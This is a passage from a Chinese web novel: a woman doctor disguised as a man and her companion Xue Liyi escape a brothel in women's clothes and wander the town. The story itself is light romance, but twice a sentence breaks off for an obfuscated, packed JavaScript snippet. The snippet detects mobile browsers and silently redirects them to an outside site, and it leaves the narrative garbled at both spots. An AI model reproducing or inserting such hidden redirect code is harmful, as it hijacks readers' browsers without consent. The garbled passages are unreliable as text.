她说完,歪歪扭扭地站起来,被绑住的两只脚迈着碎花步,朝他走过去,扑在他面前,“赶紧给我想办法,不然我先解决了你。” 薛荔衣总归没有再不正经,道:“我们现在在三楼,房间外面人不多,就两个,走廊除了经过的嫖客,没有其他人。” 晏阿音目光狐疑,瞅了薛荔衣一眼,前倾的身体往后,坐在脚踝上。 他怎么知道? 方才他们的眼睛都被蒙了起来,什么都看不到,难道薛荔衣能听音辨物? 晏阿音并不知道自己现在的姿势如何。因她是跪坐,上半身的衣裳绷得很紧,隐约勾勒出腰肢的曲线,她的腰很细,往下的弧度却饱满,十分吸引人的目光。 薛荔衣目光掠过,不经意停了停。 反应过来之后,他移开视线。 晏阿音忽然道:“薛荔衣,你是不是这里的常客?” 薛荔衣一顿,仿佛听见笑话。 “你怀疑我是嫖客?” 可是很快,他像只狐狸般轻轻笑起来:“你吃醋了?” 晏阿音现在终于发现哪里不对劲了。 这个家伙,很喜欢见她发火。 ……有毛病? 她偏不如他的意。 晏阿音冷冷道:“我为什么要不高兴?关我屁事,你就算天天上青楼也和我没关系。” 人生有两句话很有用:关你屁事,关我屁事。拿捏住这两句话,生活都会快乐很多。 晏阿音环顾四周。 不远处的墙角放一张挂着红粉帐幔的拔步床,对面的梳妆台上,脂粉金饰摆放规整。 晏阿音凝神思索,又朝房门看去,门外两个高大彪悍的身影,应该是看门的守卫。可能是站得久了觉得无趣,那两个守卫偶尔不耐地跺跺脚,交谈几句话。 “他爷爷的,凭什么就我们兄弟两个在这看门。” “楼下那些小娘子的声音绝了,这不是一刀刀往我耳朵上割吗?” “真他娘不痛快。” “什么时候轮到咱们舒服舒服……” 晏阿音看着自己被麻绳捆绑住的手和脚,踢了踢薛荔衣:“你有没有办法把我手上的绳子解掉?” 闭目养神的薛荔衣瞥她一眼,淡淡道:“手伸过来。” 晏阿音半信半疑,把被捆缚的手放到他面前。 也不见薛荔衣如何动作,他身后的绳索竟直接散了,转眼间行动自如。 他抬手拂过她被捆缚的手脚,绳索应声而断。 晏阿音惊喜地看着自己的手,又转头看门,确定外面的壮汉没听见动静,这才抱着膝盖蹲在他面前,亮晶晶地眨着眼问:“薛荔衣,你想不想出去啊?” 薛荔衣被她如狼似虎的眼神看着,皱眉:“你要干什么?” 晏阿音眼珠一转,笑眯眯道:“你刚才也听那老鸨说了,这家青楼是顺金第一青楼,那条件肯定都是最好的。我们现在这屋子,约莫也是姑娘曾经住过的房间。但我刚刚瞧了,屋子里头什么都齐全,胭脂水粉,床褥帐幔,首饰衣裳样样俱全。” “然后呢?” “你说,如果从这里走出去两个姑娘,是不是也很正常?” 薛荔衣:“……你想怎么样?” 晏阿音往他跟前凑,用手拍了拍他的脸,悄咪咪小声说:“我想交给你一个重任。” “不想接。” “别这样啊。反正我们俩都是男人,你也不用担心在女人面前掉了面子是不是?做人呢要讲道理,互帮互助,互相扶持。” 晏阿音跟前唠叨了一大堆,见薛荔衣脸色黑沉,当他默许了。 她乐不可支地踢掉鞋子,踮着脚尖跑到梳妆台,打开衣摆把能用的物件搜罗回来,在他面前坐下。 胭脂水粉、钗环簪珰散一地。 晏阿音低着头,开始调粉。 不知为何,她的嘴唇绷成了一条线,嘴角不时抽动一下。 薛荔衣眯眸:“你嘴角要笑抽筋了。” “咳。”晏阿音若无其事道,“这个粉有点难调,你等等。” 她低着头,将妆粉拍散。 然后用手沾了些妆粉,左看看右看看,找好角度拍到他脸上。 啪—— 薛荔衣的脸顷刻间白了一个度。 半脸粉末。 晏阿音在他危险的视线下,尴尬地解释,“我不经常用这个,不熟练,你担待着点啊。这个叫敷粉来着,你在秦楼楚馆里看见的肤白貌美、细如凝脂的女人,多多少少都是画出来的,不是我吹,一会儿我给你化完,你比她们还美。” 晏阿音退后一些,打量他的脸。 “有点白了,我给你上点胭脂,我找找有没有……啧,居然有金花胭脂,金花胭脂好贵的,这家青楼倒是舍得给姑娘下本,用的都是好东西。” 薛荔衣道:“哦?金花胭脂很好吗?” “当然好了,金花胭脂原来是彦京女子惯用的品质最好的胭脂,后来传到了江南,就也在客云这一带盛行起来了,这种薄片的金花胭脂最方便了,只要用丝绵浸染……” 晏阿音的话头陡然一停。 她现在是男人身份,却对女子的东西如此熟悉。 怎么说得过去? 晏阿音立即解释道:“我听说的!小爷我以前也是在这种风月场所出入的人,能不知道?” “是么。”薛荔衣泄出声笑,盯着她道,“那你的经验可真丰富。” 后半场,晏阿音都不说话了,警惕地觑着薛荔衣,一旦见到他意欲开口,立马把他嘴捂上。 这家伙跟狐狸似的,谁知道下一秒能套出别人什么话。 化完妆,就要换衣裳。 晏阿音看着衣橱里的衣裳,撑着脸扭头,嫌弃地打量薛荔衣,“你怎么这么高啊……”挑衣裳都不好挑。 认命了,晏阿音从衣橱一摞衣裳里挑挑拣拣,拎出一件塞给他,“换衣裳去。” 薛荔衣倒没说什么,随手接过扔到旁边,开始解扣子。 他动作随意,仿佛没当旁边有人,没一会儿便解开衣襟,露出结实有劲、肌理分明的胸膛。身材很好。 晏阿音正想休息一会儿,见状大退一步:“你干什么!” 薛荔衣莫名其妙看着她,“换衣裳啊,不是你说的吗?” 晏阿音瞪眼:“为什么不去屏风后面换?” “都是男人,你这么害臊做什么?” 晏阿音迟疑一瞬,立马挺起胸膛,“因为我是个有操守的男人 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他捂着她的嘴巴,眼中戒备,视线落在旁边紧闭的窗子上。 也在此时,晏阿音听到一墙之隔的窗子外传来女子的声音。 “刚才那屋里头是不是有动静?我好像听见了什么,不过现在好像又没声音了……” “要不要去看看?” “听说钱妈妈抓了两个俊俏男人,我想见见……” “有什么好看的,钱妈妈要让他们当小倌儿,还特地将他们关一间屋子,你说是要干什么?指不定里头现在发生什么事情呢。” “算了,还是走吧,我听了,现在里头又没动静了,估摸着是折腾累了。” “哼,这就结束了?我还想多听听呢,真没意思。” “行了行了,还是紧着回去练筝吧。” 那些女子走远了。 晏阿音吊起来的心终于放下来,不自觉屏住的呼吸稍稍松缓。她眼珠子转动,落在近在咫尺的薛荔衣身上。 他还在听动静。 窗子外不大明亮的光线打进来,正正好打在他的身上。 他没有换衣裳,还穿着大安给他的那件粗布衣。但他身材极好,宽肩窄腰,人高腿长,挺括随意,即便这衣裳穿在他身上也丝毫不消减他与生俱来的风流俊美,宛如只是早上起来穿错了衣裳的贵公子。 因为薛荔衣正侧头看着窗外,晏阿音便能清晰地看到他根根分明的浓密睫毛,比常人更漆黑的深邃瞳孔,往下是挺拔的鼻梁,再往下是薄薄的唇,弧度很好看。 别的不说,这家伙长得还可以。 要不怎么能让人姑娘赔上清白也要讹他轻薄?老天赏饭吃啊,这往街头一坐,面前摆个破碗,生意都比别人好。 薛荔衣转回头。 看见晏阿音亮晶晶的眼睛,他眯眸:“……你干什么。” 偷看人被抓了个现行,晏阿音尴尬的劲忽然上来了,“眼睛有点抽筋。” 薛荔衣盯着她片刻,移开视线,目光在那窗子上定格一瞬。 他挑了下眉,又恢复了那种懒洋洋的、轻慢的笑。 紧接着,他低声凑近她耳边:“你听没听见,刚才那些人笑话我们不够意思?” 晏阿音满头雾水:“什么不够意思?” 薛荔衣的声音更低了,在黑暗里十分模糊:“就是说,我们刚才时间太短了。” 晏阿音还是没听明白,皱着脸努力地看他。 时间太短了?什么时间? 什么……时间…… 下一刻,晏阿音呆住。 仿佛被天降大雷轰了一样,她整个人都不好了。 时、间、太、短、了。 她这才惊愕地注意到他们还保持着亲密姿势——薛荔衣一手虚虚捂着她嘴,一手压着她肩膀,膝盖则往前顶,把她的腿分开,牢牢嵌入在她两腿之间。 他简直是压着她,把她整个人架在了墙上。 晏阿音只觉得浑身血液都往头上涌。 这人简直是,大逆,不道。 同时,晏阿音心中也涌起不安。靠得如此近,接触亲密,即便她已经束胸,也难保他不会发觉她的不对劲。 晏阿音深吸一口气,用恼怒覆盖了心中没来由的战栗,一字一句道:“薛荔衣,放开我!你再不放开,信不信我让你活着的时间也太短?” 薛荔衣把她的脸色变化尽收眼底。 他若有所思,轻笑一声,松开了她。 然而没料到他这一松手,晏阿音没了支撑,竟没站稳,往旁边踉跄了一下。 黑暗中,架子失去了支撑,往旁边一歪,轰然倒了下去。 架子砸撞到地面,上面摆放的绀青牡丹花瓶也随之砸到地面,清脆的摔裂声如同惊雷炸响。 一瞬间,晏阿音抬头,和薛荔衣对视。 5. 第 5 章 屋子外瞌睡渐起的壮汉听见这一声撞击,猛地惊醒。 两人对视一眼,立即转头看向锁起来的屋门。 能看出来,里头灯灭了,黑暗一片。 恐怕有事情发生。 “进去看看?”其中一个长髯黑须的壮汉说。 另一个矮一点的壮汉点头。 长髯黑须的壮汉掏出钥匙,打开门上的鱼锁。 两人正准备推门进去检查时,房间的门,忽然从里面被打开了。 两个壮汉愣在原地。 “你……” 怎么是个小姑娘? 簪花戴玉、面纱掩面的娇小女子像是才看到他们,惊慌失措地抓着绢帕退后,怯怯道:“你们挡在我房间外面做什么?” 看见姑娘水灵灵的眉眼,另一个壮汉眼睛都快直了。 长髯黑须的壮汉不争气地推他一把,皱眉问她:“你是谁?怎么会从这房间出来?里面关着的人呢?” “这是我的房间,我不在这里在哪儿?”姑娘俏丽的眉眼紧蹙着,“我前面和来给我治病的大夫在房里休息,我睡着了,不知怎得醒了灯便亮着,本想出来灭灯,却瞧见两个不知道哪来的臭男人,真是吓坏我了!你们是不是新来的,办的什么事情?” 两个壮汉面面相觑,犹疑起来。他们确实刚来不久,不熟悉春满楼的规矩,只知道听命行事。 他们开始互相推卸责任。 “前面把人扔进来的时候,是不是没检查过里面有没有住姑娘?” “怪我干什么?当时灯灭着,黑咕隆咚的一看就没人,而且咱们楼每间屋子都那么多隔间,谁会仔细检查啊。而且钱妈妈不都来过了吗?她会发现不了?” “钱妈妈又不管姑娘住哪里,她说不定也不知道这屋子里面有其他人!” “是你带错路了?” “滚蛋,你办事不利别怪我头上!” “你老子……” 长髯黑须的壮汉懒得和他吵,压抑着怒火看向晏阿音:“你说,你和给你治病的大夫一直在里面?” “对啊。” “你们在干什么?为什么还要灭着灯?”壮汉怀疑地看向了晏阿音身后的高大身影,男人斗篷遮面,低着头一声不吭,完全看不见容貌,但手中确实提着药箱。 晏阿音掩面娇羞,羽睫低垂,“人家大夫给我治伤,又是个年轻的好小伙儿,我喜欢他,自然要尽我所能回报他。” 至于怎么回报,大家都是青楼里待过的人,不用说也心知肚明。 两个壮汉迎上晏阿音欲说还休的眼神,心神一荡。 这姑娘不仅腰肢细身段软,声音也软绵绵的好听,让人骨头都酥了,果然是尤物。 只不过,真不愧是青楼里的伎子,回报的方式真是独特——都和人家厮混到床上去了。 晏阿音见他们还不放行,心中暗暗焦急:“行了,我要带小大夫出去,别挡路。” 长髯黑须的壮汉拦住她:“不行,得让我们先检查里面的人还在不在。” “你们不相信?自己看。” 晏阿音让开一些,随手指指屋内,“我把他们打晕了,扔榻上了。” 两个壮汉借着外头明亮的灯光往里看,看见正对着房门的长榻上,攒着一团硕大的黑影,依稀像是两个被绑住的人。 晏阿音扫了他们一眼:“人都在,可以放心了吧?这位大夫急着出诊,我要带他出去,赶紧让开。” 说着她便绕过他们准备离开。 “等等!”长髯黑须的壮汉猛地一喝,晏阿音脚步骤停,一刹那心脏都要跳出来。 她心头绝望,面上不显,回身道:“大哥,你到底要做什么?” 长髯黑须的壮汉打量着她:“为什么你脸上要带面纱,不敢见人吗?” 晏阿音无语:“我不是跟你说了吗?小大夫是给我来治病的,我脸上生了疮,不敢见人,这么多日都接不了客。你再拦我,我可当真要去钱妈妈那儿告你一状,把你轰出去!” 另一个壮汉悄声对他说:“算了吧,能住在三楼的姑娘都不一般。我们来这没多久,还是别得罪人了。万一真告到钱妈妈那儿,咱们讨不了好。” 长髯黑须的壮汉显然犹疑了下,确定里头人还在,这才点头:“那行吧。” 晏阿音暗中松了口气,带着身后的薛荔衣扬长而去。 一开始劝说的壮汉盯着那消失在转角的身影,眼巴巴道:“好漂亮啊。” 那小腰,那眉眼,一个含情脉脉的眼神看过来,能把人的魂魄都勾走。 长髯黑须的壮汉嗤笑:“面纱挡住了还能看得出来?” “哎,就是看不见才觉得更漂亮了。”壮汉咂嘴,“身材真是曼妙,不过不知道面纱底下长什么模样。” 紧接着又嘿嘿笑道:“还有,力气也大了点,打人肯定很痛吧。” 长髯黑须的壮汉皱着眉头:“什么力气大?” “你没听见刚才那姑娘说吗,她都把那两个男人打晕了扔榻上去了,这可不是力气大?你想想,换作我们来做这事说不定都……” 壮汉说着说着,表情逐渐僵硬。 楼下丝竹管弦之乐靡靡,楼上,两个壮汉缓缓扭头对视,冥冥之中,好像听见什么轰然倒塌的声音。 哪个娇弱的小姑娘能把两个大男人给扛起来扔榻上? 这是姑娘吗? 这是男人中的男人吧? “你老子的……”长髯黑须的壮汉怒骂一声,转头就往房间里走。 另一个壮汉也赶紧跟进去。 房间的灯被点亮,他们一把掀开了长榻上的布,只见里面棉褥被堆叠起来,摆成了两个人的形状。 没人。 *** 钱妈妈走下楼梯,身后跟着点头哈腰的小厮,吹嘘捧喝不断:“妈妈就是厉害,随便派个人出手就把人给抓回来了。” 钱妈妈被这马屁拍进了心里,笑得舒心:“自然。” 小厮紧跟着问:“妈妈,那两个人,您真打算给留下来调教?” 其实那天春满楼没什么损失,顶多就是有姑娘被吓着了,真要说起来,那两人不欠春满楼的。 “得罪了老娘自然就得付出代价。他们不巧落进老娘手里,那是他们运气不好,再说了……那模样哟,真是好看,上哪儿找这种容貌气度的小倌儿?” 小厮嘿嘿笑道:“妈妈,我看着那两个男人容貌气度都不错,不然您自个儿留一个享受享受?您如今风韵犹存,也不缺银子,不如让自己舒服些。” 钱妈妈扭头,笑着给小厮脑袋来了一巴掌,“哎呦这嘴甜的,你今天怎么回事?” 尽一味阿谀奉承。 小厮赶紧道:“妈妈您发财了,小的这不是也跟着享福?” “倒也不是不可以。”钱妈妈风情万种地把手并在眼前,翻来覆去地看,“老娘还嫩着呢。” 下一刻,钱妈妈忽然发现哪里不对,停下脚步。 小厮跟在后面,差点撞上她背后层叠的肉,忙扶着脑袋站好:“钱妈妈,怎么了?” 钱妈妈将手放到眼前,仔细看,指尖搓了搓。 她指甲里,赫然是灰黑的粉末。 不对,粉末?哪来的? 小厮知道她最喜欢这新做的蔻丹,以为她弄脏手生气了,忙说:“钱妈妈,可能您刚才碰到了什么脏东西,洗洗就好了。” 钱妈妈放下手,眉头皱着。 不对,她好像只碰过那个黑黑瘦瘦的小子,在他脸上摸了一把。 糟糕,那小子怕是有了不得的秘密。 钱妈妈慌了:“快,快跟我回去。” 钱妈妈急急忙忙就要回去,忽地迎面有人跑过来,上气不接下气,惊慌失措地说:“钱妈妈,人、人……人跑了!” *** 顺金的大路上,三三两两的路人结伴交谈着往前走,莫名其妙一阵风从旁边席卷而过,路人反应过来,没看清过去的是什么东西,倒是发觉自己脑门上的头发竖起来,赶紧捋捋捋下来。 有人伸脖子去看,觉得很新鲜。 “哇,这是逃婚还是私奔啊?” “瞧那两人的衣着,莫不是误进青楼的贞烈女子跟着情郎,历尽九死一生从青楼逃出来了?” “哈哈哈你话本子看多了吧!” “你给我一边去,我瞧着真的很像。” 路人说的话,晏阿音一句也没听见。她被薛荔衣带着跑过两条街,拐六个弯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15940451|177329||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,才终于把后面追着的人甩掉。 “停停停,别跑了,求、求你了……” 薛荔衣停下脚步。 晏阿音踉跄一步,神色痛苦,就近扶住墙角,“不行了,真的跑不动了。” 跑不动了,她这把老腰禁不起这么折腾。 薛荔衣看着她虚弱的模样,移开视线,哂笑一声。 他带着她一路跑过来,还要判断方向,却脸不红气不喘,仿佛闲庭信步,只是出来绕了个弯。 晏阿音喘着气道:“你笑什么?” 薛荔衣看着街道上人来人往的景象,含笑道:“没什么,只是觉得你穿女装还挺好看的。” 晏阿音身体僵住。 她身上这件裙子,就是她方才扔给他穿的那一件,因为那时花瓶被撞倒后,她压根来不及教他怎么穿,只好硬着头皮自己上,因为她对女装更熟悉些。 这件衣裳是青楼女子惯穿的,衣料单薄轻媚,着重勒出腰肢纤纤,裙摆下的腿若隐若现,朦胧中多了几分勾人的风情。衬得人身形婀娜,虽然晏阿音已经束了胸,可她并不能断定别人看不出端倪。 听见薛荔衣这话,晏阿音心头漏跳一拍,忙退后一步抱住胸口。 “我告诉你,不许对我起什么心思,我是个男人。” 薛荔衣嗤笑道:“你放心,我不喜欢男人。” 晏阿音这才松了口气。 薛荔衣见她扶着墙喘气,噙着笑意,好心道:“自己还是大夫呢,体力这么差,看看腰吧,不然以后影响夫妻夜里生活和睦。” 不是他故意为难,这事确实得重视。 若是男的,体力不行,那真是得加紧些锻炼身体。 若是女的…… 薛荔衣扫了晏阿音一眼,心道若是女的,到了夜里那种时候,凭她这种小身板,承受不住,恐怕能直接晕过去。 晏阿音当然不知道薛荔衣在想什么。 她现在是个小医郎,是个男的,他这句话简直是明晃晃地挑衅她的尊严。 他嘲笑她不行…… 晏阿音怒了:“薛荔衣,你侮辱我?” 薛荔衣唇边笑容不变:“我是真心为你好。” 晏阿音和他呛声:“我体力没你想的那么不行。” “是吗?那和我比一比,看谁体力好?” 晏阿音僵住,慌乱地看向别处,“我不和你比。” 她才不自讨苦吃。 薛荔衣依旧含笑,步步紧逼:“为什么?” 晏阿音磕绊着,努力给自己找理由:“你比我高这么多,我若赢了你,你的脸面往哪搁?我这是为你考虑……再者,我就是个瘦弱的小大夫,你若是赢了我也是胜之不武,说出去不光彩。” 薛荔衣低低发笑:“是吗?那你还真是挺为我着想的。” 风迎面吹来,晏阿音只觉得小腹、胸口和腿都凉飕飕的,这衣裙轻薄得可怕,简直算不上正经衣裳。 晏阿音灵机一动,把薛荔衣身上的斗篷抢过来,囫囵包裹住自己。 “这附近有没有成衣铺子?我不想穿女人的衣裳。” 薛荔衣懒洋洋移开视线:“我们方才跑过的那条街上有一家,走吧。” 晏阿音见他转身就走,连忙跟上他的脚步,可这一路她都眉头紧皱,时不时抬眼看薛荔衣的背影。 心里莫名发毛。 薛荔衣此人的观察力实在恐怖,不仅是在他们被蒙着眼睛绑进春满楼之后,他能如此随意地说出外面的守卫情况,还是在他们方才本应在逃命的路上,却依旧能将经过了什么地方记得清清楚楚。 如此敏锐。 如此观察入微。 晏阿音不禁咬牙,他不会发现自己…… 不,不会的。若是他发现她是女子,不可能如此若无其事。 如此想着,晏阿音没有注意到走在前面的薛荔衣停下了脚步,砰一声就撞上他的背,痛得低呼,“啊。” “怎么了?” 晏阿音忙说:“没什么没什么,到成衣铺了是吧?麻烦你了,你在外面等着,我很快出来。” 她说着就扭头匆匆往旁边的“成衣铺”奔了进去。 “喂!”薛荔衣想叫她,她却完全听不见。 6. 第 6 章 晏阿音迈进店里,想让伙计拿件普通的布衣,没想到老板笑呵呵地迎了上来:“这位娘子,可是要春丸?” 晏阿音一脸茫然:“什么?” 这不是卖衣裳的店铺吗,什么春丸? 老板颇为自豪地继续介绍:“我在顺金做了十几年的买卖,看人绝对准,一看娘子如此貌美,衣品如此好,又行色匆匆怕人发觉,就知道娘子需要什么。咱们家的春丸虽不敢说是江南第一好,可在顺金绝对排得上号……” 晏阿音听明白了。 老板以为她是从青楼出来的女子,想要买那种增补调情的秘药。 晏阿音急忙解释:“我是男人。” 老板更震撼了:“啊?” 晏阿音只想挖个坑把自己埋进去,转头看向外面的薛荔衣。 他正一脸无辜地看着她,表情仿佛在说:是你自己不问就进去的,我可没说这是成衣铺子。 老板顺着她的目光,看见外面等候的俊美男人,脸色登时宛如吃了苍蝇。 两个男的? 一起来买这种调情的药? 断袖! 晏阿音已经能想象到她方才的话对老板有多大的冲击了。 一个男扮女装披着斗篷形色匆匆的男人,带着另一个男人前来买这种东西。 光是想想,晏阿音就想当场去世。 “对不住对不住,我们不买了。”晏阿音逃似的飞奔而出,拉上薛荔衣就走。 直到走出好远一段路,晏阿音才放开他,兴师问罪:“薛荔衣,你故意的是不是?” 薛荔衣很无辜:“我叫过你了,是你没听见。” 晏阿音咬牙:“你就不会把我拉回来吗?” 薛荔衣唇边噙起笑意:“误会就误会了,人家也不知道你是谁,你不是男人吗?这么在乎脸面干什么?” 晏阿音唇瓣翕动了下,哑口无言。 “那你当时好端端走路,突然停下来做什么。” 薛荔衣无奈:“我是想告诉你,成衣铺子就在斜对面,准备叫你过去。” 晏阿音:“……” 薛荔衣见她恼怒,随意笑笑,递给她一件东西。 “行了,这个拿着吧,就近找个店铺,问老板要个隔间换上。” 晏阿音看着递到面前干干净净的衣裳,愣住,抬头看他:“你什么时候买的?” 薛荔衣懒洋洋道:“你买/春丸的时候。” “……”晏阿音怒的踹他一脚,抢过衣裳头也不回地走了。 等到换完衣裳回来,又成了个俊俏的小大夫。 晏阿音的心情终于好了些。 但她还是看不惯薛荔衣,见那人站在原地,侧影如竹潇洒风致,一派翩翩美郎君模样,她哼了一声,自个儿先走了。 顺金一带归属江南,河流纵横,走到哪儿都能看见穿屋而过的小河。 晏阿音左拐右拐,从白墙黛瓦的巷子里走出。 河水被阳光照得波光粼粼,煞是好看。 晏阿音愉快地跑到河边,在浅滩上坐下,用手拨了拨水,正巧诗兴大发,嘀咕一句:“好大一条金子河……” 身后远远的有人走来,还很不客气地笑出了声。 晏阿音涨红了脸,转头道:“笑什么?再笑信不信我把你头按河里?” 话说完,她才看清薛荔衣此时的模样。 他的衣襟方才被她扯松了,十分凌乱,露出一小片肌理分明的结实胸膛。 晏阿音腾的又转回去。 她红了张脸,背对着他,怒声道:“薛荔衣,把你衣裳给我穿好!” 薛荔衣闻言,低头看了一眼,倒也不在意,只随手稍微拢了拢。 害羞什么。 又没看到什么实质性的东西。 “不都是男人?” 晏阿音心中暗恼:“我不管,我对你没兴趣,以后别在我面前袒胸露、露……” 薛荔衣轻笑一声,走到她身边坐下。 “脸皮真薄啊,小大夫。一点不像个男人。” 晏阿音低着头,掩饰如骤雨般的惶惶心跳:“我这叫知羞耻。不像你,一点没规矩。” “行吧,我没规矩。” 他叼了根狗尾巴草,手枕在后,懒洋洋躺下:“我确实不愿意按规矩做事。” 他不知想到什么,身上竟透出了似有若无的冷意,晏阿音愣了下。 不过她不想多探寻他身上的秘密,见薛荔衣躺得舒服,便也试着躺下去。可是她才躺好,就被凹凸不平的石头咯得跳起来。 “好痛!” 薛荔衣手枕在脑后,侧过头打量她,慢悠悠笑道:“一个大男人,这么娇气。” 晏阿音一动不动再次躺下。 按摩穴位,有助身体健康。疏通经络,有益身体健康。 嘶。 还是好痛。 脸颊旁边就是哗哗的河水,晏阿音听着耳边清凌凌的声音,身体那些疲惫逐渐消失。她轻吐了口气,侧眸看见河水里,一尾极透明的鱼正在吐泡泡。 她凝视着那尾鱼,眼神逐渐亮了,屏住呼吸,瞄准时机扑了过去。 没想到一抓,竟给她抓到了。 “抓着什么了,让我瞧瞧。” 晏阿音勉勉强强回身,稍微侧了侧手:“这种鱼在水里几乎透明,又很聪明,很难抓的,不过有钱人家最喜欢养这种鱼,能卖好多钱。” 她说话时并未看她,眼中溢满笑意,亮晶晶的,竟有些女子娇憨。 薛荔衣看着她的侧脸,没动。 晏阿音心情不错。 虽然今天被薛荔衣牵连抓进了青楼里,但好歹有收获,塞翁失马焉知非福…… 察觉薛荔衣一声不吭,晏阿音朝他看去。 也就在这一刻,那尾小鱼趁着她侧手的这个弧度,弯起身体一个扑腾,咻一下飞回了河里。 晏阿音呆在原地,保持着侧手的姿势,被溅了一头一脸的水。 ??? 薛荔衣好心提醒她:“你的钱好像跑了。” “……” 晏阿音悲从中来:“薛荔衣……” “小爷不要你的钱了,小爷要你的命!” 薛荔衣被扑过来的晏阿音掐住脖子,倒是很顺从地举起双手,低声笑道:“别生气,不就是一条鱼,赔你就是,再加上之前的一起算。” 他虽然被压在底下,可看起来却很松散,宛如只是被一只猫儿扑倒。 晏阿音皱眉看他半晌,确定他没有说谎,松了手。 她冷哼一声,把他当成杌子,在他身上坐下,低头开始小声算账。 “你住我屋子吃我的饭用我的草药,拢共花了六百二十一文。方才那条鱼在市面上大概能卖到一百三十文左右,不过刚才那只颜色很纯,价格应该还能往上走,大概在一百六十七文左右,我给你抹个零头,一百六十文吧,我这个人很好说话的,你要是再给我说几句好话,我就给你降到一百五十文……” 薛荔衣双手枕在脑后,被她当凳子坐,倒是没说什么,只懒洋洋地看着她念念叨叨。 只不过很快,他忽然发现哪里不对。 晏阿音坐在他小腹上,所以他只能看见她的侧影。 她的脸很小,还没有他一个巴掌大,原本她的肤色并没有这么白,可是,此时此刻却…… 薛荔衣借着日光,微眯起眼睛,盯着她道:“你的脸怎么变白了?” 而且,白得很不均匀,灰一块白一块。 晏阿音僵硬一瞬,立刻站起:“大安估计在家里等急了,天色不早了我们赶紧回去吧,还钱的事情不急之后再说。” “你等等。”薛荔衣想叫住她。 已经走出一段距离的晏阿音听见他的声音,居然拔腿飞奔起来。 跑这么快做什么,他很可怕吗? 薛荔衣注 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15940452|177329||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视着那道宛如逃命一般的身影,忍不住低声笑起来,气息浅浅震颤,在湖面上响荡出去。 片刻,他移开视线,看见河里流动的波纹。 正是晌午,阳光将河水照出点点金翠。 河对岸是白墙黛瓦的房屋,掩映在雾气里,隔得太远,看不真切。 薛荔衣微眯了下眼眸。这样的日子,好像可以试着继续活下去。 *** 道路两旁炊烟阵阵,行人都匆匆往家赶,晏阿音恹然跟在薛荔衣身后。 薛荔衣转身,对上她的视线,被她瞪了一眼。 他也不计较,低声笑说:“还生气?” 晏阿音蔫头耷脑:“要不是你,我会被人抓到这儿吗?现在好了,看时辰,天黑之前肯定是回不去了。” 没想到顺金离客云有这么远的脚程,那些人把他们从客云带过来,还真是不怕麻烦。 街两边支起的小摊儿飘来扁食的香味,闻着那扑鼻的香气,光想象就知道是白菜猪肉馅儿的,汤头里肯定加了炸香的葱姜沫儿,晶莹剔透的汤面上漂浮着少量清油,一颗颗圆溜溜的扁食翻着肚皮浮在碗上,热气蒸腾。 晏阿音摸了摸肚子。 想她堂堂晏家阿音,就算不是大富大贵之人,好歹也是个小大夫,身上揣着几个小钱,没想到今日居然遇见这种事情。 那些人忒不厚道,把她一起绑去就算了,还把她身上的三个铜板都搜刮走了。 晏阿音拉拉薛荔衣的衣摆,闷闷地问:“喂,你有没有银子啊。” “没有。” 晏阿音不相信:“那我身上这衣裳你怎么弄来的?” 薛荔衣随口:“老板看我可怜,送的。” “……”他把她当傻子吗? 晏阿音好想把这狐狸揍一顿,这人嘴里到底有没有一句真话? 她惆怅地望了眼远处的馄饨摊子,把矛头对准了他:“小爷今晚要是露宿街头,饿得快要死了,我就把你给吞了。” 薛荔衣轻笑:“行。” 旁边是一家林记糕饼铺,妇人撑起纸伞,带着孩子回家去。 “天黑了,要下大雨咯,咱们回家去,晚上娘给你做好吃的。” 果然没多久,头顶乌云聚拢,天幕逐渐转沉。等薛荔衣和晏阿音经过城头驻店,一路走到顺金郊外,已经看不见多少人影。 走上一座偏僻的石桥,晏阿音走不动了,捂着肚子在石凳上坐下来。 薛荔衣看向她:“怎么了,不舒服吗?” 晏阿音只觉得小腹一抽一抽的疼,语气不大好:“你说呢?” 她饿了这么久,当然不舒服。 薛荔衣朝附近看了一圈:“前面有座破败的空庙,先过去躲雨吧。” 说着看回她:“还能走吗?” “能,我自己走。” 晏阿音扶着他的手,吃力地站起来。 身体却晃了晃。 薛荔衣皱眉,语气不大好:“晏阿音,你要知道你是个大夫,实在撑不住别逞强。” 晏阿音额上沁出了汗:“你别管我,带路就是了。” 晏阿音确实是大夫,可她对自己的身体没有那么上心,她认真给每个来看病的病人诊治,却没把自己当一回事。 但身体是自己的,只有她最清楚自己的状况。 她的药馆历来每月都有几天不开门,对外只说是休息几日,出门采药,连大安都不知道真正的原因,也以为她当真出去采草药了。 其实那几日她都没有出远门,而是去了另一处山脚隐蔽的居所修养。 她每每来葵水时,都疼得钻心,从前都是她自己在腹痛中挣扎着起身,给自己熬碗红糖水喝下,然后盖着厚被子睡上一两天才能熬过去。 没想到千算万算,她忙忘了,葵水竟在今日来了。 怎么办。要怎么把薛荔衣支开?要怎么把薛荔衣支开,才能不引起他的怀疑? 7. 第 7 章 薛荔衣见她走得艰难,失了耐心,不容她拒绝,将她抱起朝破庙走去。 晏阿音确实难受,也就随他去了,闭上眼睛,额头抵在他的胸口。 走了一会儿,那两座被遮掩在芭蕉木后面的庙宇终于露出全貌。因着天色昏暗,庙宇无灯,在远处高耸阴暗的群山映衬下,竟显得有些可怖。 天幕愈发黑沉,大风之中,天空轰隆一声,豆大的雨滴终于砸落下来。 